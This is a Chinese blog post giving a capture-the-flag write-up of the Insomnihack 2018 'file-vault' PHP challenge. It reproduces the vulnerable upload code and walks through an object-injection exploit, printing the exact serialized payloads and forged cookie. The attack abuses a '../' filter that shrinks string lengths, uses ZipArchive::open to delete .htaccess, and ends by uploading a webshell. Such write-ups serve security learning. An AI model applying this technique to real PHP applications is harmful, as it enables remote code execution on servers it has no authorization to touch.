美文网首页
insomnihack-teaser-2018/file-vau

insomnihack-teaser-2018/file-vau

作者: rebirthwyw | 来源:发表于2018-02-07 14:40 被阅读0次

队里月赛出了一道前不久insomnihack-teaser-2018的web:file-vault。是道对象注入的题目,我觉得不错,就做一下记录。其实也就是把原wp大致翻译了一下233333

0x00
这题是Insomnihack Teaser 2018的原题,题目的writeup地址自取:
https://corb3nik.github.io/blog/insomnihack-teaser-2018/file-vault

0x01
题目上来是个文件上传的服务,给了源代码upload.php

 <?php

error_reporting(0);
include('secret.php');

$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);

global $sandbox_dir;

function myserialize($a, $secret) {
    $b = str_replace("../","./", serialize($a));
    return $b.hash_hmac('sha256', $b, $secret); 
}

function myunserialize($a, $secret) { 
    if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
        return unserialize(substr($a, 0, -64));
    }
}
   
class UploadFile {

    function upload($fakename, $content) {
        global $sandbox_dir;
        $info = pathinfo($fakename);
        $ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
        file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
        $this->fakename = $fakename;        
        $this->realname = sha1($content).$ext;
    }

    function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = "$fakename is in folder $sandbox_dir/$realname.";
        return $analysis;
    }
}

if(!is_dir($sandbox_dir)) {
    mkdir($sandbox_dir);
}

if(!is_file($sandbox_dir.'/.htaccess')) {
    file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}

if(!isset($_GET['action'])) {
    $_GET['action'] = 'home';
}

if(!isset($_COOKIE['files'])) {
    setcookie('files', myserialize([], $secret));
    $_COOKIE['files'] = myserialize([], $secret);
}


switch($_GET['action']){
    case 'home':
    default:
        $content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";
        $files = myunserialize($_COOKIE['files'], $secret);
        if($files) {
            $content .= "<ul>";
            $i = 0;
            foreach($files as $file) {
                $content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
                $i++;
            }
            $content .= "</ul>";
        }
        break;
    case 'upload':
        if($_SERVER['REQUEST_METHOD'] === "POST") {
            if(isset($_FILES['file'])) {
                $uploadfile = new UploadFile;
                $uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
                $files = myunserialize($_COOKIE['files'], $secret);
                $files[] = $uploadfile;
                setcookie('files', myserialize($files, $secret));
                header("Location: index.php?action=home");
                exit;
            }
        }
        break;
    case 'changename':
        if($_SERVER['REQUEST_METHOD'] === "POST") {        
            $files = myunserialize($_COOKIE['files'], $secret);
            if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
                $files[$_GET['i']]->fakename = $_POST['newname'];
            }
            setcookie('files', myserialize($files, $secret));            
        }
        header("Location: index.php?action=home");
        exit;
    case 'open':
        $files = myunserialize($_COOKIE['files'], $secret);
        if(isset($files[$_GET['i']])){
            echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
        }
        exit;
    case 'reset':
        setcookie('files', myserialize([], $secret));
        $_COOKIE['files'] = myserialize([], $secret);
        array_map('unlink', glob("$sandbox_dir/*"));
        header("Location: index.php?action=home");
        exit;
}

这个文件上传通过cookie来保存你上传的文件信息。$_COOKIE['files']的值是个反序列话的数组,数组的每个元素是一个UploadFile对象,保存了一个fakename(你上传的名字,可以修改)和一个realname(hash过的,真实的物理地址)。

这个文件上传一共有五个功能:
home: 通过反序列化cookie的值获得你的上传文件列表,然后显示在前端页面
upload: 上传文件,无过滤
changename: 修改某个已上传文件的fakename,然后重新序列化
open: 输出指定文件的fakename和realname
reset: 清空你的sandbox

UploadFile类就一个上传文件的函数和一个open函数。

class UploadFile {

    function upload($fakename, $content) {
        global $sandbox_dir;
        $info = pathinfo($fakename);
        $ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
        file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
        $this->fakename = $fakename;        
        $this->realname = sha1($content).$ext;
    }

    function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = "$fakename is in folder $sandbox_dir/$realname.";
        return $analysis;
    }
}

但是因为每次建立sandbox的时候,都会在目录加上一个.htaccess文件来限制php的执行,因此我们无法直接上传shell。

同时由于在序列化和反序列化的时候做了签名,我们也不能直接通过修改cookie的方式来改变对象。

0x02
这道题的破题点在于源码里的myserialize函数。

function myserialize($a, $secret) {
    $b = str_replace("../","./", serialize($a));
    return $b.hash_hmac('sha256', $b, $secret); 
}

这里在序列化对象之前,画蛇添足的加了一个过滤,把../过滤成了./

比如有这么一个序列化后的字符串

a:2:{i:0;s:3:"../";i:1;s:5:"hello";}

在myserialize函数处理后就变成了

a:2:{i:0;s:3:"./";i:1;s:5:"hello";}

那么问题在哪呢??

显而易见的,这个时候在反序列化的时候,php在读取a[0]的值的时候,认为是个3字节的字符串,就把./"当做了值,而从这之后,反序列化肯定就出错了。

那么如果合理控制../的数量,是不是就可以引入一个非法的对象呢。

a:2:{i:0;s:39:"../../../../../../../../../../../../../";i:1;s:20:"A";i:1;s:8:"Injected";}

对于这个序列化的字符串,处理以后

a:2:{i:0;s:39:"./././././././././././././";i:1;s:20:"A";i:1;s:8:"Injected";}

这个时候,s:39对应的字符串变成了./././././././././././././";i:1;s:20:"A

那么我们就把本来不应该有的Injected引入了进来。

0x03
回到题目本身,由于myserialize的问题,如果我们有一个可控点,就可以尝试引入非法的对象。这个可控点就是changename。

changename会修改fakename的值同时重新序列化对象。

假设我们有两个对象A和B。

A中的fakename是若干个../
B中的fakename是满足拼接条件的非法对象,通过重新序列化完全签名以后,我们就能通过反序列化引入非法的对象了。

0x04
最后的问题在于,我们引入一个怎样的对象来达到getshell的目的。因为sandbox下面的.htaccess文件导致我们无法getshell。所以我们只要想办法把.htaccess文件删除就可以了。

Upload类本身没有什么magic函数,可用的只有它的upload和open函数。

这时候就想到一些php带的类里存在的open函数是不是有什么可以利用的点了。

根据wp,发现了ZipArchive::open函数可以完成。

ZipArchive::open的第一个参数是文件名,第二个参数是flags,ZipArchive::OVERWRITE的意思是重写覆盖文件,这个操作会删除原来的文件。

因为UploadFile类的open函数的参数是fakename和realname,fakename对应.htaccess,realname对应flags,这里直接用了ZipArchive::OVERWRITE的integer值9。

0x05
原理大概是这样,然后是payload的构造。

序列化一个ZipArchive类的对象

<?php
$zip = new ZipArchive();
$zip->fakename = "sandbox/7cde76f4236381046a154225000f20658cee136f/.htaccess";
$zip->realname = "9";
echo serialize($zip);

然后随便传一个A和一个B,得到序列化的值

a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:1:"A";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:1:"B";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}}e63b1d808ed7d1bfc9ddc6559bb215ba5d456f9f8419e1eafe66770867e2164b

然后按照前面说的,把B的fakename改成需要构造的ZipArchive的内容

ZipArchive序列化的内容是

i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/badbbce4268ff077941c6a81cc8a5ec2faa73a8f/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"
";}}

因为B本身后面还跟着一个";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt67个无用的字节,所以comment的的长度为67

然后因为A等会吃掉的字符是直接吃到B的位置的,所以前面还需要补一段";s:8:"realname";s:1:"A";}

B的构造的fakename的最终值为

";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/badbbce4268ff077941c6a81cc8a5ec2faa73a8f/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
";}}

然后因为A要吞的部分是

";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:297:"

一共117位,就是A的部分就是 "../"*117

0x06
按照上述步骤修改了B和A(先B后A)以后获得的cookie就是引入了非法对象的cookie了。

a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:351:"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:297:"";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/7cde76f4236381046a154225000f20658cee136f/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}}1493de201a4cc794a075c78a0aa5b945f5d2a6937c7475708d9bd1a5606496ca

然后就是上传一个小马

调用一下index.php?action=open&i=1以后,就会执行数组中i:1的对象的open函数,即ZipArchive的open函数,成功删除.htaccess文件getshell

相关文章

网友评论

      本文标题:insomnihack-teaser-2018/file-vau

      本文链接:https://www.haomeiwen.com/subject/sicgyxtx.html